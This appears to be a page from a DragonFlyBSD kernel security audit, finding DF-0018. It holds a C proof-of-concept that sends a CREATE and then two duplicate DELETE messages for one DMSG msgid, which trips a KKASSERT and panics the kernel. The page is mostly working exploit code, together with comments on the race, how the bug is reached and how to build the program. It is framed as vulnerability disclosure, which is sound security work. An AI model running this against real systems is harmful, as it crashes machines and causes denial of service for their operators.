DragonFlyBSD Kernel Audit
DF-0018 / kdmsg_dupdelete.c
← back to finding ↓ download raw
/*
 * DF-0018 PoC - duplicate DELETE for the same DMSG msgid trips KKASSERT ->
 * kernel panic.
 *
 * kdmsg_state_msgrx() unconditionally asserts, when processing a received
 * DELETE:
 *     KKASSERT((state->rxcmd & DMSGF_DELETE) == 0);   // kern_dmsg.c:1076
 * KKASSERT is ALWAYS compiled in on DragonFlyBSD (unlike KASSERT, which is
 * INVARIANTS-only). A peer can send two DELETE messages for the same msgid in
 * quick succession: the first sets state->rxcmd |= DMSGF_DELETE but does NOT
 * remove the state from the RB tree (removal needs txcmd to also carry DELETE,
 * which depends on the writer thread transmitting the reply). The second
 * DELETE finds the same state still in the tree and reaches :1076, where the
 * assertion fires -> panic.
 *
 * The race favors the attacker: the reader processes messages sequentially
 * and will read/process DELETE-2 right after DELETE-1's cleanuprx, while the
 * writer must dequeue + fp_write the reply. Sending both DELETEs back-to-back
 * makes this reliable.
 *
 * Reachability: same as DF-0017 -- a DMSG peer via the hammer2 relay daemon
 * (cluster network) or DIOCRECLUSTER on a disk device node. CRC not verified
 * on receive.
 *
 * Build (DragonFlyBSD):  cc -o kdmsg_dupdelete kdmsg_dupdelete.c
 *
 * WARNING: panics the target kernel. Disposable VM only.
 *
 * Expected (bug present): kernel panic
 *     "(state->rxcmd & DMSGF_DELETE) == 0"
 * on the second DELETE.
 */

#include <sys/types.h>
#include <sys/dmsg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

#define DMSG_MAGIC0 0x4832

static void
mk_dmsg(void *buf, uint32_t cmd, uint64_t msgid, uint64_t circuit)
{
	struct dmsg_hdr *h = buf;
	memset(buf, 0, 64);
	h->magic = DMSG_MAGIC0;
	h->cmd = cmd;
	h->msgid = msgid;
	h->circuit = circuit;
	h->hdr_crc = 0;		/* not verified on receive */
}

int
main(int argc, char **argv)
{
	int fd, i;
	char buf[64];

	if (argc < 2)
		errx(2, "usage: %s <connected-dmsg-fd>", argv[0]);
	fd = atoi(argv[1]);

	/* 1. CREATE a persistent state for msgid=42 (circuit=0 -> child of state0). */
	mk_dmsg(buf, DMSGF_CREATE | DMSG_LNK_PAD, 42ULL, 0ULL);
	if (write(fd, buf, sizeof(buf)) != (ssize_t)sizeof(buf))
		err(1, "write CREATE");

	/* 2. Two back-to-back DELETEs for msgid=42. The reader processes them
	 *    before the writer can transmit the reply to the first, so the
	 *    second reaches the KKASSERT at kern_dmsg.c:1076 and panics. */
	for (i = 0; i < 2; i++) {
		mk_dmsg(buf, DMSGF_DELETE | DMSG_LNK_PAD, 42ULL, 0ULL);
		if (write(fd, buf, sizeof(buf)) != (ssize_t)sizeof(buf))
			err(1, "write DELETE %d", i);
	}

	fprintf(stderr, "[*] sent CREATE + 2x DELETE for msgid=42; expect panic\n");
	return 0;
}